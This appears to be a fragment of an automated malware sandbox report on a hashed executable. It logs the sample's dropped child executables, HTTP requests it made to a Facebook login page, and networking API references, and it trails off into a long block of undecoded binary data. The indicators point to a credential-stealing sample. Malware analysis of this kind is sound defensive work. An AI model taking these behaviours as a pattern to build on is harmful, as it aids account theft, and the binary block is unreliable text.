file "\Device\HarddiskVolume2\UXTHEME.DLL"56:T991,"922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\922d837e2362b26f6f5959eb3dee8ac0.exe.Local\" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\922d837e2362b26f6f5959eb3dee8ac0.exe.Config" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\922D837E2362B26F6F5959EB3DEE8AC0.EXE.LOCAL" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\922D837E2362B26F6F5959EB3DEE8AC0.EXE.CONFIG" "922d837e2362b26f6f5959eb3dee8ac0.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "OT6Dd58.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\OT6Dd58.exe.Local\" "OT6Dd58.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "OT6Dd58.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\OT6Dd58.exe.Config" "OT6Dd58.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "OT6Dd58.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\OT6DD58.EXE.LOCAL" "OT6Dd58.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "OT6Dd58.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\OT6DD58.EXE.CONFIG" "OT6Dd58.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "pt9KK68.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\pt9KK68.exe.Local\" "pt9KK68.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "pt9KK68.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\pt9KK68.exe.Config" "pt9KK68.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"57:T2341,Found requests in header "GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ya/l/0,cross/EQ0cyse2DGv.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y8/r/RNFuSb7tdaZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/fpMCwgcFvo4.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yx/l/0,cross/7O04Eyj-1fg.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yL/l/0,cross/GLMTwJKTA1g.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/yI/r/4aAhOWlwaXf.svg HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yy/l/0,cross/wYnUPpbC_DL.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: connect.facebook.netConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yU/r/O7nelmd9XSI.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yB/r/Y0L6f5sxdIV.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y1/r/dXk5exdOVhk.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yw/r/TOgyZUwZTqd.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yf/r/LgvwffuKmeX.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yz/r/lFK_RCKM9IT.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yt/r/zI56j6esQGz.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yq/r/C9n9XTZa3H8.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yw/r/wm4d5zAAo-a.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yt/r/d4QqVJOdC1V.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3ihVQ4/yp/l/en_US/M_qt8gV3koE.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ye/r/yUtEQ4ajXZI.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y1/r/P8DLAFRlDfy.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/ys/r/xEUODc7mbZF.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yj/r/MAz3ivwtIyN.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")58:T868,Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00005604-00000C26-82358083") Found reference to API "WSARecv" (Indicator: "WSARecv"; Source: "00000000-00005604-00000C26-82362162") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp")59:T717d,"GET /login HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: www.facebook.comConnection: Keep-AliveAccept-Language: en-US" "-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(self), geolocation=(self), gyroscope=(), hid=(), idle-detection=(), magnetometer=(), microphone=(self), midi=(), payment=(), screen-wake-lock=(), serial=(), usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private, no-cache, no-store, must-revalidateExpires: Sat, 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/html; charset="utf-8"X-FB-Debug: nAaQzS0Zjia1k6mjgvO7sujKsGszQo/ej7GefUuePGmcQ3Y6/FuNqm07P6rJzzIjkaGpc8RDFgx1HtRLY+IA+g==Date: Sun," "22 Oct 2023 04:17:27 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive1339��Yo#Ͳ �>��9ǭ9��N��]�(�⢭շ�U�E�X��y0`��_~�׳�c`�<|�ę��0�6�?�Y5[��΋��%"2222222�i��A31s��?��%tdNOl��R�lYs!��qNӒc�~��.J(3D��B"��S!�X��M�TP��<��(��J��Q(�݄i�>��w�'�3�Xf��9��k�(��j��@4�$��@G�g��)��|yYS��?y��.z^��4�|t��n��%)��^Bj��s\��6v��Nĉ'�mQ�o��zD+��Xr�96��z;��q?��8#$�k��Fԕ1r��R�`I'q��\&)��N\�4�y��I!��$gf-%b.%�t%+��iP��(2bT]�-��<[=Χ��p`ޗh]��#�ܯ�r��4��C�o�}H��3ز��@.��(v=j~��;R�R��v�3�K�^C�H�f�۽�z�fC�i�FW��ERN*I��+��=,��qOn��;��2a�e�I�E?��wF��k�6��4�x�7��h^K�i&˴�_lh�\�N��.��ؙ��W�cb2잦ukJ�_%M��"a�-p|�"�։��)H�Al�z`spN��kY�K�X�k�7�N�Vb��Ē��F6U��PQףzl��5x��/��N�l.�q��t枖2�o�p�Z/�� ^[x2�!��$+ic��1H�MkyqӦ��>��C\,�CU6�D��80d��z�� =��d��o2-�(Hz�ۨ�K,s��)ޮ�MQ\�i��u��b�-�3��3��Ƨ��WnZq��`�3��}&�JZOg�L��ٛ�s��c�q~�LEZ�vs7vY�.��iJ� W��ij��٩0��b-{T��߆L#�y�Q��6ڋ��٦O��d��r��V�md6��#溿!��xy~1��ӷ�iݷ�/��ߐ�u��9�r]jt�F�\X5��d�b", "d��|s��7r3�5��KN�o0:Ty�4M{-o$�\�?�{Ii�.�]5�LC�v�l.�ΐ��g��j�K24��?|�fN�b9W�Y�I�1)8��rn'Q,��r!,�R��XR2|�y/Ia:_h��b9WbŰ�`\NLO�_�B)S�8�o��b)W�,�)��b�l�x�41[��??�BY�v��#��̗��=;&�"�cغ�F�.0=�{8,�r��~�5T��(�k��>�Ȗ��%�u#�D�h��lVǝ~OH�m}�ѹl�F�~o$��K��9�:=i2��с6�4�:�wR{؟�ڝԼ��!�C��|��%t(��HםQg<�.��a�>��Y��a�5��j�۔Fw��O��j��_W��FPc�T��qS�l�F�6p�޿��ǝ��NT�Mi�^��Э֤^s�X4�H�Yu�~��9�.��x�8�/��6YF$��nu��/�Q�>6AFG�e�ӭ�o��u�d�z}�t�0rXc/��vS��]��Y�~!��CEר~�lL��6�s9�֡g��p�5��e��Xr[��>�-��ν��Ҡ?�&i�H��u��x)�&m�չ�B��Y��YX�_wbE�U{=m<�J�!��ި��e��_��a�j��q��:e\mK��u� )�u�]�Vo�//Ianm(�\��.��Yo�I�ܫ*��[BR(��g�)ޞ��\qt��=��*��S�,��]�g?IA��"�xV%V��D�]~�9˶�׷�!)d��|�mw��fJz}zv�Յ��39__�o`��icѫ,n��`��7mC[Ъ��5��z>�Unڪ�H�7�y��_��m�Y�U:h��Ң1�,�f��Pl�]:T׮PnV�5�f�_˻jI3�5��s�Y�z��Gι �㫢��[��*�t�,��///�l��cX$�-kNp�2l��gĜ�Ay^�䳘�~I��]ЙY��f֒�Ԑi��ԗd>�-�ĝ8V7�&pk`ӕlD�!��9댪��n::��O�҈Үh_��]s0�wJ��]��N�=e�t�zj6�{]`��[K��:��//�B!��gR��lϩp�D�D,VJ�|9�/�K�7��w��"b�X�964g��d��a�E��;�X��M��Y��", "�b�N\�ᤠQ4��H�C�`81ۓɝ��wW'y� �Z�L)3��m��˛5Z�7Q1W�d`w��C��t=��p|�(֑KX8��T�@Ą�/�b6��K�_,�Mπ�,泼�G)6ݪZU�3]_Pc�RmH�z�?鍥NC82P��Ū��c"�E��K��~�f2�B&�%H]We��=�N��i\I�!:6݆gG��-�N�ܾ��푋�|X��}3��ݺ�Z��1U�N��|))h�qȝ�,Z�)F��P0�x�cD� ��=E��b��Z��kb�L��d.[a�3uw�6�o��x@�FVP��G�!)hU��h�K�(r�f�[A�(�U��$Ŷ�l�'�b�%�vP��ɗY�&�Bvk�tg:��t��l�!�!�|��K��^oW�"��)v0��Y�l��0y��'/Iaa3c�A,�y�e�bX�"/��R��`�bێ�q�ӡ�_V�Y1��Ϻe�I��|I�+L��%��P��d0�U˅��4��9�4H�Eziѹ�#o��qє"cOy�r��3�(y��}�/�r�+S��@ZlPifA�=e��d]�) �M�Μ�U%Y3�$l.��LRXʺ5w��O�$�A�!��K3�m�[>��w��RϜa҆i�Ć�/��̱(� �"�S#�s;k�)��|��DxD�l�%��3�\��T-�@�I��:�&�ZKH�ʌ�Xq=r�F�Z��_hQd��]Ӣaf&L�q:;�v��R��T� �KML��Sb�cJ`�/L�h(��#W�� uö��*2b�b��M�Z�Oj��,��Ft}�ݎa`� �/|f.�K�K�v��l�,��IP8��TZ�bbǁ>��O�� ԱL�/�Z`�l%�e��o�s6�,l ��KO!6�6��D' ��`�Ƣs[,�L��o�.�6%�D��a[&l��w��zlY`�mT�e�O�hI\eA��n��(�15�&��"5f��", "��Ft,�D�`�6�lؔ�Jg��ZH��eK��!dm��zԯ�J!��TG�0��`e@�Bedΐa`��[ل�%0��r@��`U�&.,�C��3H��҄%x�X`��u�锘�Նl��@�K��X0��po�tX�$��oX�K@S<��A�;0a��zĊ[ӭp1ԕJEfj ��e^٠KX�w�`��&��sE,l�p�5�@+bxFgjZ�:xt�6j��RЄ!S��N�J4L�Cd"Q��8�Sb��k!橀��r�/�\>��~��`��p��0�c*�Q5�2��?�8��̲�$�[��p֦"M��V�̙P��X�%s8��7��QB#��aN��cE'��7e��~��0;�2�Ȇ)�8\GE��㹦+ֱ;��5�md�3l��PFG�j :wf��{�%��r2�K;�E.Rt��'��1��Ĝ��'έ��3RQH�j��=.Vf�e#:?��v4�(XŶ�B�cc��", "1af9�k��rr�$2��Mh��f�&�~�d��K2W.1Ѹ�rݏf�L&^�U��@��n�]�м��&Oo,�$�/�v��k��3R�懫�g��Id�:�J�[ĺ<2]u��H]�숲��)[X��d��{(*��#7��b^{;/��N�쭳ǲ5�5��8˦��4U�z�rT�޴g՘��P�h��x�jJ��W�;v�v��C�iұ��C��L�)��*kk�C8�ģ�$�bF��c�6AKI2��][��|ò�a�Q�t�k��9�t�E~�� [n�-rl9�{�!c!�j�@K�w�(+S�e�'��_^��7ݪ��|W�FwPp��va��[��[:ĥ�G��3Q��ݒ�!�d�@n`Yn��F��_�3�D`�(�N�)�$�|.�f�iAD��㠿��MHK��p"|�|��_�/��#!��nB��)tT�2��}�/��*�?�ד(J0x<�w��~��2�!-��>��#Z ��;Օ��/��P�ֵ��xr0�O8]��3�K�T�B}��-�h{�)�@��j�e�yڐ�o`nAj#1dJ\�e��d�N�j��*�j��pvL��lJD�mjy6�9X�*��H��q��x��4�0�7��`0ф�U�/�R��=�V�xj��f�VV�%)�\��/)qq\�(O�(Kc��%L��$ɘч4w;�߶��S�!�Eֵ�/젣c%lK'��!m�.��c9,�!�ت�g�x��Y�Q%$[��)Y ��J�g�(�*L�+[G&SG[�\k:��Cz�up��kz�Wr�B\�fk��'.�̓��yH��xDRn�c�w�PAO�ǣ#��T�ر<�`�!��\�*��z��VX��xH_�u�mw�q�s>j��Q�_��hF�7��9ީ�� P?��e�7S�-g�}�X'S"C��JH2ґ�`i��o�=�#��X��}�9\u�r�m�=�eX��9xE\��cm�?��V��`*��UL��$�e�<7�n4�lH2lD��?�^��`�0�@��x�-5�Aɦq�!5��i��'�L�3�̘�U-עS�X7idGW��T��\��s@֙�bTD,��K%L��5�I"��*�U��0��wU��&�[3$1ɔd�誟��>�KsMO}�6��-�!��e��,L��;��-1��`f�NW�c'L��C��f��\f��4�Pw��4úK�k� �2]��)b��8®�5�?��(�ƺ9�l�9azT�湘�j��qì@d/bS,��x��N�M-ÊH��v�^��[��Ewk�U`g7Ç�qo�N��wg�M��hzX`'�", "�u��<2��d�Ǡ�N��Q�!m��Nۦx��Lc��_#��m�c��R�6F.�c�OFi�F>[&��:A2щԋ�6��Aq��a}�ܙ�s6�&fs��Ҋ:�Fe��=b��طC#��('Mv��r��j�f}�i�n�Rt�i��x�Av4�f)��^\��R�6s��ȶyK�"��&��p��ޜݭ��%�Ȃ��f��-�#�n��t]��E%ُ�JO��&�,�mm��}��u��d*�a�n�۬�m�XQɴ\��ů00~P��T�z&�`��lb��%��a؛��=Ŷ��:��\��6`5�+��\��民��Y��Q��y��]� Nj;'��K2ņ�BO��|��;��;�˙b��+`�*�sk��7`�d�T��,�o�� lA̰�=s�v��S�X)�29_I��:�.Xʔ�e�Zv�z��A��vsw@�+�|1ho�;Xe�И��-��6,��R.sи��W��ewЈ�L.[,��P�y7w�X�J�Hws��]x�J��ھ��6��A��WAF��'`�[G��+��5�l�>��#��C`.�O�籟A�%"`��l魲0@�d݄��u��˭��Td��R��Y�ǉ�u��8�|4*�@� Җ#v-�:�t]8��OT�9��?�O��9<��S 7��aآ��hf��_h��*לd f��L֯�W�S��Lƀ�g2"|�*�G�J��<��7C��捠D#��G!��)�E��D��t<�/��X�r2=�K��K�p;��`��Jx�o#?أ�a؁va��O8AG胉�;��,�Ψ��3��n�� xIfs��º�y?p��;��(��{��K��N�O_��b��3��W|�%�d׏O`��#s��ۂ9��b9~$z�_[�Y1?��5��yG2�!�*|�Q�/4p��˗//G7��I��\�$�*DOH��e��+��e��$�ZA:ZA:Z��Ig"�`�﹉r��)�� )", "9{m��l� X�On�I��TBOݥBx�N��vlo�Бd�H�j׾��/��3��G_?D�G/G�T�Y�~}�'e��Ga#�FFB��~�=R�Vwv��%[d3�i��1u�;t�ۓB:��'�M��a��_H�iP#A�i±�栲�-?5/ᬤ\��!��.l��\��0��>Id��&�~qld��r��m)��V�spa�;n�� KoI&��nA�_Pp� z�Y1�3�R�X*�S��~I�Oǿ��O��U��S��%�[."��X��[�һh��At�6;%�ҏ�%4�J��^b�hS�)��rs��Q)- z"��A�o8ȿ�i:��D�ڱ��o_��#FY6!�K�M��rB*d[T��o)�|L%�Z6;��F�z�7�t6o��=�X5�5�5��;��/��H��N�:��NA��>+OG��W�-i��2��rq�{��̂�q`�LX&w��C��dFTn��aŉ�=|*d��K��:X�B4��PtG!��hOI`��$�Z��P`|`�{0�8�&n>}��Jq�~��p��n�� p%�l"�Wq�۩?�LM�J&�v��I?֥k�3��|�s9FP0��Jy;@}j�$")��Upa]jF#'+��lIR��jE&�S�щ��)��Be/��bB��A7��Bt ,RR�@�D�[��w@��U~*d�;6�t�S�M�3��:�*��X�o�D�H�D��t$��6�@�7��e+�9��&nr�F��=��6��8p8��51n�(b��"��̉�o��TѝR$�9I��BS�o#A�\��6*��v��Z^��`l�l�4��޲{�9X��Fhd5��p��|\��jB*��B��V��i`��3>7Ct�6J�\��I��6��|�E�9��95��)\N+|jYtj��g㴈T+l�>"��'��j��G��b�qc~v��M̶�~�lO�ʇ�2��|�Nf}�S�\ft�zE^�)�=��+8��zOq%�M��?8u�x��6� ��`B�m�<�m��a�m�8��y��z_��`ϐ*)v��t��G�:t?�}�?��CE�j��K�ѻo��m%T��T��`�'�)nY��i�M��*/gE�?�]L��x6z��`}g:�)ѩ,�ʫ��W�t�|��75a�huM�m��,ɾ,�P�T��Jl�q~��j./֊�[1?*�u��^�[)SQ�%�D�J��R�Y3��X��p�q%Fl3!��J�Y�ip�^1�u��JeI)?��k� !Dݰ��N"�ْ�NS�U��Y�~]��dR��V��-�bZ;�G��_'��'�75N�k�G��bJ-F ��N;�7�kG뙬��5��T�8�1?C4��{�L��/Ip��!�}C�oM��/'��=�i!��aa�%��8��\�ym��|��iU:I{�|)��*]�m�e�%~r��Z��1��t~UBes%��$�T�H�y��*�R�t�(Q.[�;F.U�kR�B�9|��$�-��F��j��Jr��Ĭ�[��q�$r�T��su�U�j��J��[c4�&I׺�Vm+��{�Fc��};�Sav�]/�^T�"K2U=%M��vX�(�zd�;�nư��!��,�Y!G�(�"]��V�+��>y9?��n��;�:>�+�!#��vɡIbJ)3}�.�_�2�;zQ*�×)�r3q��R�[��ۻѐ��J��JMHw\e�6�*��(6��r��IU�l�,�V~��Q~", "3d9o��K�q�{[��'BoZ۱�'�L��I��#��Z��8��b��M��;f{�R��U��-�w��z��\�u}�%d�[�J�{��{��j%�\Ԓz$'�B\�o�Eöm�B`!�k}��%+{�t\�B��};�~5�7`�i�w�s��G��-�/F�:'��D��Ϋ�A卮"��z�`��|��J?��5�0��/H�O:}��^��d��X� ��ڰG��~C��Bp�mȰG:6�=:-�ic��{��}�듽�lɶ�n��H�Oz}20��39< 